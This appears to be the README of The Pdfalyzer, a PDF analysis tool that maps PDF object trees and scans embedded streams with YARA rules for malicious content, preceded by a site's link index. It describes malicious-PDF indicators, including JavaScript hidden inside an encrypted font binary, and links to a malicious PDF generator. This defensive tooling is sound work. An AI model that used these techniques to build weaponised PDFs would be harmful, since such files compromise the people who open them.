| <a class='topic' href='https://lzone.de/cheat-sheet/systemd'>systemd</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/systemtap'>systemtap</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/ulimit'>ulimit</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/vi'>vi</a>
<br/><span class='group'><b>DevOps Services</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Apache'>Apache</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Ceph'>Ceph</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Consul'>Consul</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/CouchDB'>CouchDB</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Couchbase'>Couchbase</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/ElasticSearch'>ElasticSearch</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/F5'>F5</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/GlusterFS'>GlusterFS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Graphite'>Graphite</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Java'>Java</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Kafka'>Kafka</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/MongoDB'>MongoDB</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/MySQL'>MySQL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/NFS'>NFS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Nodejs'>Nodejs</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/OAuth'>OAuth</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/PgBouncer'>PgBouncer</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Postgres'>Postgres</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/RabbitMQ'>RabbitMQ</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Redis Sentinel'>Redis Sentinel</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Redis'>Redis</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Samba'>Samba</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Splunk'>Splunk</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Squid'>Squid</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Tomcat'>Tomcat</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Webserver'>Webserver</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Zookeeper'>Zookeeper</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/etcd'>etcd</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/etcdv2'>etcdv2</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/htaccess'>htaccess</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/memcached'>memcached</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/nginx'>nginx</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/sqlite'>sqlite</a>
<br/><span class='group'><b>Languages</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/CSS'>CSS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Dev-Misc'>Dev-Misc</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/GCC'>GCC</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/JSONPath'>JSONPath</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Languages'>Languages</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linting'>Linting</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux HTML Widgets'>Linux HTML Widgets</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/PHP'>PHP</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Perl'>Perl</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Ruby'>Ruby</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SQL'>SQL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Syndication'>Syndication</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Vala'>Vala</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/XPath'>XPath</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/XSLT'>XSLT</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/YAML'>YAML</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/autotools'>autotools</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/gdb'>gdb</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/meson'>meson</a>
<br/><span class='group'><b>Network</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Linux-Networking'>Linux-Networking</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Mail'>Mail</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Network'>Network</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SMB'>SMB</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SSH'>SSH</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/curl'>curl</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/iptables'>iptables</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/mDNS'>mDNS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/netfilter'>netfilter</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/rsync'>rsync</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/tcpdump'>tcpdump</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/unbound'>unbound</a>
<br/><span class='group'><b>Packaging</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Bower'>Bower</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Conan'>Conan</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Ruby Bundler'>Ruby Bundler</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/apt'>apt</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/cargo'>cargo</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/dpkg'>dpkg</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/flatpak'>flatpak</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/gem'>gem</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/golang'>golang</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/gradle'>gradle</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/maven'>maven</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/npm'>npm</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/pip'>pip</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/rvm'>rvm</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/snap'>snap</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/yum'>yum</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/zypper'>zypper</a>
<br/><span class='group'><b>Scripting</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/APIs'>APIs</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Bash Associative Array'>Bash Associative Array</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Bash Functions'>Bash Functions</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Bash Regex'>Bash Regex</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Bash'>Bash</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Images'>Images</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Locking'>Locking</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Scripting'>Scripting</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Shell-Scripting'>Shell-Scripting</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/awk'>awk</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/ffmpeg'>ffmpeg</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/jq'>jq</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/sed'>sed</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/zenity'>zenity</a>
<br/><span class='group'><b>Security</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/AppArmor'>AppArmor</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/HTTPS'>HTTPS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Incident Handling'>Incident Handling</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/OpenSCAP'>OpenSCAP</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/OpenSSL'>OpenSSL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Package Vulnerabilities'>Package Vulnerabilities</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SELinux'>SELinux</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SIEM'>SIEM</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/SSL-Certificates'>SSL-Certificates</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Security Auditing'>Security Auditing</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Security-News-Feeds'>Security-News-Feeds</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Security'>Security</a>
<br/><span class='group'><b>Solutions</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/SaaS Dev Tools'>SaaS Dev Tools</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Service Architecture'>Service Architecture</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solutions Automation'>Solutions Automation</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solutions Loadbalancing'>Solutions Loadbalancing</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solutions Monitoring'>Solutions Monitoring</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solutions NoSQL'>Solutions NoSQL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Solutions Virtualization'>Solutions Virtualization</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Status Pages'>Status Pages</a>
<br/><span class='group'><b>Windows</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/PowerShell'>PowerShell</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/WSL'>WSL</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/netsh'>netsh</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/registry'>registry</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/wmic'>wmic</a>
<br/><span class='group'><b>kubernetes</b></span>
| <a class='topic' href='https://lzone.de/cheat-sheet/Helm Templates'>Helm Templates</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Helm'>Helm</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Minikube'>Minikube</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Minishift'>Minishift</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Openshift'>Openshift</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/PKS'>PKS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/Prometheus'>Prometheus</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kops'>kops</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kubectl'>kubectl</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kubernetes ConfigMap'>kubernetes ConfigMap</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kubernetes DNS'>kubernetes DNS</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kubernetes StorageClass'>kubernetes StorageClass</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/kubernetes'>kubernetes</a>
| <a class='topic' href='https://lzone.de/cheat-sheet/nginx-ingress'>nginx-ingress</a>
## Examples Index
<br/><span class='group'><b>Glib Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/GObject'>GObject</a>
| <a class='topic' href='https://lzone.de/examples/Glib GRegex'>Glib GRegex</a>
| <a class='topic' href='https://lzone.de/examples/Glib Testing'>Glib Testing</a>
| <a class='topic' href='https://lzone.de/examples/Glib XDG Migration'>Glib XDG Migration</a>
| <a class='topic' href='https://lzone.de/examples/Glib'>Glib</a>
<br/><span class='group'><b>Go Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/Go Struct'>Go Struct</a>
<br/><span class='group'><b>Javascript Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/GraphQL'>GraphQL</a>
| <a class='topic' href='https://lzone.de/examples/Handlebars'>Handlebars</a>
| <a class='topic' href='https://lzone.de/examples/Javascript Frameworks'>Javascript Frameworks</a>
| <a class='topic' href='https://lzone.de/examples/Javascript RegExp'>Javascript RegExp</a>
| <a class='topic' href='https://lzone.de/examples/Javascript strptime'>Javascript strptime</a>
| <a class='topic' href='https://lzone.de/examples/Javascript void0'>Javascript void0</a>
| <a class='topic' href='https://lzone.de/examples/React PropTypes'>React PropTypes</a>
| <a class='topic' href='https://lzone.de/examples/React'>React</a>
| <a class='topic' href='https://lzone.de/examples/d3js'>d3js</a>
<br/><span class='group'><b>PHP Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/PHP Arrays'>PHP Arrays</a>
| <a class='topic' href='https://lzone.de/examples/PHP curl_setopt'>PHP curl_setopt</a>
| <a class='topic' href='https://lzone.de/examples/PHP date'>PHP date</a>
| <a class='topic' href='https://lzone.de/examples/PHP explode'>PHP explode</a>
| <a class='topic' href='https://lzone.de/examples/PHP file_get_contents'>PHP file_get_contents</a>
| <a class='topic' href='https://lzone.de/examples/PHP implode'>PHP implode</a>
| <a class='topic' href='https://lzone.de/examples/PHP in_array'>PHP in_array</a>
| <a class='topic' href='https://lzone.de/examples/PHP ini_set'>PHP ini_set</a>
| <a class='topic' href='https://lzone.de/examples/PHP preg_match'>PHP preg_match</a>
| <a class='topic' href='https://lzone.de/examples/PHP preg_replace'>PHP preg_replace</a>
| <a class='topic' href='https://lzone.de/examples/PHP str_replace'>PHP str_replace</a>
| <a class='topic' href='https://lzone.de/examples/PHP stripos'>PHP stripos</a>
| <a class='topic' href='https://lzone.de/examples/PHP strpos'>PHP strpos</a>
| <a class='topic' href='https://lzone.de/examples/PHP strripos'>PHP strripos</a>
| <a class='topic' href='https://lzone.de/examples/PHP strrpos'>PHP strrpos</a>
| <a class='topic' href='https://lzone.de/examples/PHP ternary operator'>PHP ternary operator</a>
| <a class='topic' href='https://lzone.de/examples/PHP unserialize'>PHP unserialize</a>
<br/><span class='group'><b>Python Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/PyGI GStreamer'>PyGI GStreamer</a>
| <a class='topic' href='https://lzone.de/examples/PyGI GnomeKeyring'>PyGI GnomeKeyring</a>
| <a class='topic' href='https://lzone.de/examples/PyGI GtkStatusIcon'>PyGI GtkStatusIcon</a>
| <a class='topic' href='https://lzone.de/examples/Python Dictionary'>Python Dictionary</a>
| <a class='topic' href='https://lzone.de/examples/Python Syntax'>Python Syntax</a>
| <a class='topic' href='https://lzone.de/examples/Python argparse'>Python argparse</a>
| <a class='topic' href='https://lzone.de/examples/Python re.match'>Python re.match</a>
| <a class='topic' href='https://lzone.de/examples/Python re'>Python re</a>
| <a class='topic' href='https://lzone.de/examples/Python re.sub'>Python re.sub</a>
| <a class='topic' href='https://lzone.de/examples/Python simplehttpserver'>Python simplehttpserver</a>
| <a class='topic' href='https://lzone.de/examples/Python split'>Python split</a>
| <a class='topic' href='https://lzone.de/examples/Python string concat'>Python string concat</a>
| <a class='topic' href='https://lzone.de/examples/Python subprocess'>Python subprocess</a>
| <a class='topic' href='https://lzone.de/examples/Python'>Python</a>
<br/><span class='group'><b>Regex Examples</b></span>
| <a class='topic' href='https://lzone.de/examples/Perl Regex'>Perl Regex</a>
| <a class='topic' href='https://lzone.de/examples/Regex Overview'>Regex Overview</a>
| <a class='topic' href='https://lzone.de/examples/Ruby Regex'>Ruby Regex</a>
|
<!--  -->
[](https://pypi.org/project/pdfalyzer/)
[](https://github.com/michelcrypt4d4mus/pdfalyzer)
# THE PDFALYZER
A PDF analysis tool for [visualizing](#example-output) the inner tree-like data structure[^1] of a PDF in [spectacularly large and colorful diagrams](#example-output) as well as scanning the binary streams embedded in the PDF for hidden potentially malicious content. The Pdfalyzer makes heavy use of YARA (via [The Yaralyzer](https://github.com/michelcrypt4d4mus/yaralyzer)) for matching/extracting byte patterns.
**PyPi Users:** This document renders a lot better [on GitHub](https://github.com/michelcrypt4d4mus/pdfalyzer). Pictures, footnotes, etc.
### Quick Start
```sh
pipx install pdfalyzer
pdfalyze "martin_heidegger-being_illmatic.pdf"
```
### What It Do
1. **Generate in depth visualizations of PDF tree structures**[^1]. Shows every property of every PDF object at a glance. See the [Example Output](#example-output) section below for details.
1. **Scan for mad sus content with a bunch of PDF specific [YARA](https://github.com/VirusTotal/yara-python) rules.**
1. **Forcibly decode suspect bytes**. [The Yaralyzer](https://github.com/michelcrypt4d4mus/yaralyzer) does the heavy lifting.
1. **Display detailed information about embedded fonts.** With character maps.
1. **Usable as a library for your own PDF related code.**
If you're looking for one of these things this may be the tool for you.
### What It Don't Do
This tool is mostly for examining/working with a PDF's data and logical structure. As such it doesn't have much to offer as far as extracting text, rendering[^3], writing, etc. etc.
# Installation
Installation with [pipx](https://pypa.github.io/pipx/)[^4] is preferred though `pip3` should also work.
```sh
pipx install pdfalyzer
```
See [PyPDF2 installation notes](https://github.com/py-pdf/PyPDF2#installation) about `PyCryptodome` if you plan to `pdfalyze` any files that use AES encryption.
### Troubleshooting The Installation
1. If you used `pip3` instead of `pipx` and have an issue you should try to install with `pipx`.
1. If you run into an issue about missing YARA try to install [yara-python](https://pypi.org/project/yara-python/).
1. If you encounter an error building the python `cryptography` package check your `pip` version (`pip --version`). If it's less than 22.0, upgrade `pip` with `pip install --upgrade pip`.
1. On Linux if you encounter an error building `wheel` or `cffi` you may need to install some packages:
```bash
sudo apt-get install build-essential libssl-dev libffi-dev rustc
```
# Usage
Run `pdfalyze --help` to see usage instructions. As of right now these are the options:
## Runtime Options
If you provide none of the flags in the `ANALYSIS SELECTION` section of the `--help` then all of the analyses will be done _except_ the `--streams`. In other words, these two commands are equivalent:
1. `pdfalyzer lacan_buys_the_dip.pdf`
1. `pdfalyzer lacan_buys_the_dip.pdf -d -t -r -f -y -c`
The `--streams` output is the one used to hunt for patterns in the embedded bytes and can be _extremely_ verbose depending on the `--quote-char` options chosen (or not chosen) and contents of the PDF. [The Yaralyzer](https://github.com/michelcrypt4d4mus/yaralyzer)) handles this task; if you want to hunt for patterns in the bytes other than bytes surrounded by backticks/frontslashes/brackets/quotes/etc. you may want to use The Yaralyzer directly. As The Yaralyzer is a prequisite for The Pdfalyzer you may already have the `yaralyze` command installed and available.
### Setting Command Line Options Permanently With A `.pdfalyzer` File
When you run `pdfalyze` on some PDF the tool will check for a file called `.pdfalyzer` first in the current directory and then in the home directory. If it finds a file in either such place it will load configuration options from it. Documentation on the options that can be configured with these files lives in [`.pdfalyzer.example`](.pdfalyzer.example) which doubles as an example file you can copy into place and edit to your needs. Handy if you find yourself typing the same command line options over and over again.
### Environment Variables
Even if don't configure your own `.pdfalyzer` file you may still glean some insight from reading the descriptions of the various variables in [.pdfalyzer.example](.pdfalyzer.example); there's a little more exposition there than in the output of `pdfalyze -h`.
### Colors And Themes
Run `pdfalyzer_show_color_theme` to see the color theme employed.
## Guarantees
Warnings will be printed if any PDF object ID between 1 and the `/Size` reported by the PDF itself could not be successfully placed in the tree. If you do not get any warnings then all[^2] of the inner PDF objects should be seen in the output.
## Troubleshooting
1. If you can't get the `pdfalyze` command to work try `python -m pdfalyzer`. It's an equivalent but more portable version of the same command that does not rely on your python script paths being set up in a sane way.
1. While The Pdfalyzer has been tested on quite a few large and very complicated PDFs there are no doubt a bunch of edge cases that will trip up the code. If that does happen and you hit an error, please open [a GitHub issue](https://github.com/michelcrypt4d4mus/pdfalyzer/issues) with the compressed (`.zip`, `.gz`, whatever) PDF that is causing the problem attached (if possible) and I'll take a look when I can. I will _not_ take a look at any uncompressed PDFs due to the security risks so make sure you zip it before you ship it.
-------------
## Use As A Code Library
For info about setting up a dev environment see [Contributing](#contributing) below.
At its core The Pdfalyzer is taking PDF internal objects gathered by [PyPDF2](https://github.com/py-pdf/PyPDF2) and wrapping them in [AnyTree](https://github.com/c0fec0de/anytree)'s `NodeMixin` class. Given that things like searching the tree or accessing internal PDF properties will be done through those packages' code it may be helpful to review their documentation.
As far as The Pdfalyzer's unique functionality goes, [`Pdfalyzer`](pdfalyzer/pdfalyzer.py) is the class at the heart of the operation. It holds the PDF's logical tree as well as a few other data structures. Chief among these are the [`FontInfo`](pdfalyzer/font_info.py) class which pulls together various properties of a font strewn across 3 or 4 different PDF objects and the [`BinaryScanner`](pdfalyzer/binary/binary_scanner.py) class which lets you dig through the embedded streams' bytes looking for suspicious patterns.
Here's a short intro to how to access these objects:
```python
from pdfalyzer.pdfalyzer import Pdfalyzer
# Load a PDF and parse its nodes into the tree.
pdfalyzer = Pdfalyzer("/path/to/the/evil_or_non_evil.pdf")
actual_pdf_tree: PdfTreeNode = pdfalyzer.pdf_tree
# The PdfalyzerPresenter handles formatting/prettifying output
PdfalyzerPresenter(pdfalyzer).print_everything()
# Iterate over all nodes in the PDF tree
for node in pdfalyzer.node_iterator():
do_stuff(node)
# Iterate over the fonts
for font in pdfalyzer.font_infos:
do_stuff(font)
# Iterate over all stream objects:
for node in pdfalyzer.stream_nodes():
do_stuff(node.stream_data)
# Find an internal PDF object by its ID in the PDF
node = pdfalyzer.find_node_by_idnum(44)
pdf_object: PdfObject = node.obj
# Use anytree's findall_by_attr to find nodes with a given property
from anytree.search import findall_by_attr
page_nodes = findall_by_attr(pdfalyzer.pdf_tree, name='type', value='/Page')
# Iterate over backtick quoted strings from a font binary and process them
font_info: FontInfo = pdfalyzer.font_infos[0]
for backtick_quoted_string in font.binary_scanner.extract_backtick_quoted_bytes():
do_stuff(backtick_quoted_string)
```
# Example Output
The Pdfalyzer can export visualizations to HTML, ANSI colored text, and SVG images using the file export functionality that comes with [Rich](https://github.com/Textualize/rich). SVGs can be turned into `png` format images with a tool like Inkscape or `cairosvg` (Inkscape works a lot better in our experience). See `pdfalyze --help` for the specifics.
## Basic Tree View
As you can see the suspicious `/OpenAction` relationship is highlighted bright red, as would be a couple of other sus PDF instructions like `/JavaScript` or `/AcroForm` if they exist in the PDF being pdfalyzed.
The dimmer (as in "harder to see") nodes[^5] marked with `Non Child Reference` give you a way to visualize the relationships between PDF objects that exist outside of the tree structure's parent/child relationships.
That's a pretty basic document. [Here's the basic tree for a more complicated PDF containing an NMAP cheat sheet](doc/svgs/rendered_images/NMAP_Commands_Cheat_Sheet_and_Tutorial.pdf.tree.svg.png).
## Rich Tree View
This image shows a more in-depth view of of the PDF tree for the same document shown above. This tree (AKA the "rich" tree) has almost everything. Shows all PDF object properties, all relationships between objects, and sizable previews of any binary data streams embedded or encrypted in the document. Note that in addition to `/OpenAction`, the Adobe Type1 font binary is also red (Google's project zero regards any Adobe Type1 font as "mad sus").
[And here's the rich tree for the same more complicated NMAP cheat sheet PDF linked instead of shown directly in the previous section](doc/svgs/rendered_images/NMAP_Commands_Cheat_Sheet_and_Tutorial.pdf.rich_table_tree.png).
## Fonts
#### **Extract character mappings from ancient Adobe font formats:** It's actually `PyPDF2` doing the lifting here but we're happy to take the credit.
#### **View the properties of the fonts in the PDF**. Comes with a preview of the beginning and end of the font's raw binary data stream (if it's that kind of font).
## Binary Analysis (And Lots Of It)
### **YARA Scan:** Check PDF for malicious content.
This repo contains [all the PDF specific YARA rules I could dig up](pdfalyzer/yara_rules) that identify byte patterns indicating a PDF may have been modified for evil. While the real dangers exist in PDF modifications no one has seen yet (and thus we have no YARA rules for), there are still a bunch of 'sus' indicators (e.g. has a Type1 font, is incorrectly terminated, etc.) that will be tripped when you scan a PDF with The Pdfalyzer.
### **Search Internal Binary Data for Sus Content No Malware Scanner Will Catch[^6]:**
Things like, say, a hidden binary `/F` (PDF instruction meaning "URL") followed by a `JS` (I'll let you guess what "JS" stands for) and then a binary `»` character (AKA "the character the PDF specification uses to close a section of the PDF's logical structure"). Put all that together and it says that you're looking at a secret JavaScript instruction embedded in the encrypted part of a font binary. A secret instruction that causes the PDF renderer to pop out of its frame prematurely as it renders the font.
### **Extract And Decode Binary Patterns:** Like, say, bytes between common regular expression markers that you might want to force a decode of in a lot of different encodings.
### **See stats:** When all is said and done you can see some stats that may help you figure out what the character encoding may or may not be for the bytes matched by those patterns:
### **Fancy Table To Tell You What The `chardet` Library Would Rank As The Most Likely Encoding For A Chunk Of Binary Data**
# PDF Resources
## 3rd Party PDF Tools
### Installing Didier Stevens's PDF Analysis Tools
Stevens's tools provide comprehensive info about the contents of a PDF, are guaranteed not to trigger the rendering of any malicious content (especially `pdfid.py`), and have been battle tested for well over a decade. It would probably be a good idea to analyze your PDF with his tools before you start working with this one.
If you're lazy and don't want to retrieve his tools yourself there's [a simple bash script](scripts/install_didier_stevens_pdf_tools.sh) to download them from his github repo and place them in a `tools/` subdirectory off the project root. Just run this:
```sh
scripts/install_didier_stevens_pdf_tools.sh
```
If there is a discrepancy between the output of betweeen his tools and this one you should assume his tool is correct and The Pdfalyzer is wrong until you conclusively prove otherwise.
### Installing The `t1utils` Font Suite
`t1utils` is a suite of old but battle tested apps for manipulating old Adobe font formats. You don't need it unless you're dealing with an older Type 1 or Type 2 font binary but given that those have been very popular exploit vectors in the past few years it can be extremely helpful. One of the tools in the suite, [`t1disasm`](https://www.lcdf.org/type/t1disasm.1.html), is particularly useful because it decrypts and decompiles Adobe Type 1 font binaries into a more human readable string representation.
There's [a script](scripts/install_t1utils.sh) to help you install the suite if you need it:
```sh
scripts/install_t1utils.sh
```
## Documentation
### Official Adobe Documentation
* [Official Adobe PDF 1.7 Specification](https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf) - Indispensable map when navigating a PDF forest.
* [Adobe Type 1 Font Format Specification](https://adobe-type-tools.github.io/font-tech-notes/pdfs/T1_SPEC.pdf) - Official spec for Adobe's original font description language and file format. Useful if you have suspicions about malicious fonts. Type1 seems to be the attack vector of choice recently which isn't so surprising when you consider that it's a 30 year old technology and the code that renders these fonts probably hasn't been extensively tested in decades because almost no one uses them anymore outside of people who want to use them as attack vectors.
* [Adobe CMap and CIDFont Files Specification](https://adobe-type-tools.github.io/font-tech-notes/pdfs/5014.CIDFont_Spec.pdf) - Official spec for the character mappings used by Type1 fonts / basically part of the overall Type1 font specification.
* [Adobe Type 2 Charstring Format](https://adobe-type-tools.github.io/font-tech-notes/pdfs/5177.Type2.pdf) - Describes the newer Type 2 font operators which are also used in some multiple-master Type 1 fonts.
### Other Stuff
* [Didier Stevens's free book about malicious PDFs](https://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/) - The master of the malicious PDFs wrote a whole book about how to analyze them. It's an old book but the PDF spec was last changed in 2008 so it's still relevant.
* [Analyzing Malicious PDFs Cheat Sheet](https://zeltser.com/media/docs/analyzing-malicious-document-files.pdf) - Like it says on the tin. If that link fails there's a copy [here in the repo](doc/analyzing-malicious-document-files.pdf).
* [T1Utils Github Repo](https://github.com/kohler/t1utils) - Suite of tools for manipulating Type1 fonts.
* [`t1disasm` Manual](https://www.lcdf.org/type/t1disasm.1.html) - Probably the most useful part of the T1Utils suite because it can decompile encrypted ancient Adobe Type 1 fonts into something human readable.
* [PDF Flaws 101](https://github.com/RUB-NDS/PDF101) from Black Hat 2020.
* [A Curious Exploration of Malicious PDF Documents](https://www.scitepress.org/Papers/2020/89923/89923.pdf) by Julian Lindenhofer, Rene Offenthaler and Martin Pirker, 2020. Overview of all the possible execution paths that can lead to a PDF executing JavaScript, opening loca/remote files, or making web requests.
* [Malicious PDF Generator](https://github.com/jonaslejon/malicious-pdf) is a well maintained GitHub project that does what it says on the tin.
* [PDF is Broken, and so is this file](https://blog.trailofbits.com/2021/02/02/pdf-is-broken-a-justctf-challenge/) is a 2021 report on what happens when you challenge cybersecurity teams to turn PDFs into weapons. (Among other things they managed to create a PDF that launches a webserver when you open it.)
## Did The World Really Need Another PDF Tool?
This tool was built to fill a gap in the PDF assessment landscape following [my own recent experience trying to find malicious content in a PDF file](https://twitter.com/Cryptadamist/status/1570167937381826560). Didier Stevens's [pdfid.py](https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.py) and [pdf-parser.py](https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdf-parser.py) are still the best game in town when it comes to PDF analysis tools but they lack in the visualization department and also don't give you much to work with as far as giving you a data model you can write your own code around. [Peepdf](https://github.com/jesparza/peepdf) seemed promising but turned out to be in a buggy, out of date, and more or less unfixable state. And neither of them offered much in the way of tooling for embedded binary analysis.
Thus I felt the world might be slightly improved if I strung together a couple of more stable/well known/actively maintained open source projects ([AnyTree](https://github.com/c0fec0de/anytree), [PyPDF2](https://github.com/py-pdf/PyPDF2), [Rich](https://github.com/Textualize/rich), and [YARA](https://github.com/VirusTotal/yara-python) via [The Yaralyzer](https://github.com/michelcrypt4d4mus/yaralyzer)) into this tool.
# Contributing
One easy way of contributing is to run [the script to test against all the PDFs in `~/Documents`](scripts/test_against_all_pdfs_in_Documents_folder.sh) and reporting any issues.
Beyond that see [CONTRIBUTING.md](CONTRIBUTING.md).
### Code Glossary
These are the naming conventions at play in The Pdfalyzer code base:
| Term | Meaning |
| ----------------- | ---------------- |
| **`PDF Object`** | Instance of a `PyPDF2` class that represents the information stored in the PDF binary between open and close guillemet quotes (« and ») |
| **`reference_key`** | String found in a PDF object that names a property (e.g. `/BaseFont` or `/Subtype`) |
| **`reference`** | Link _from_ a PDF object _to_ another node. Outward facing relationships, basically. |
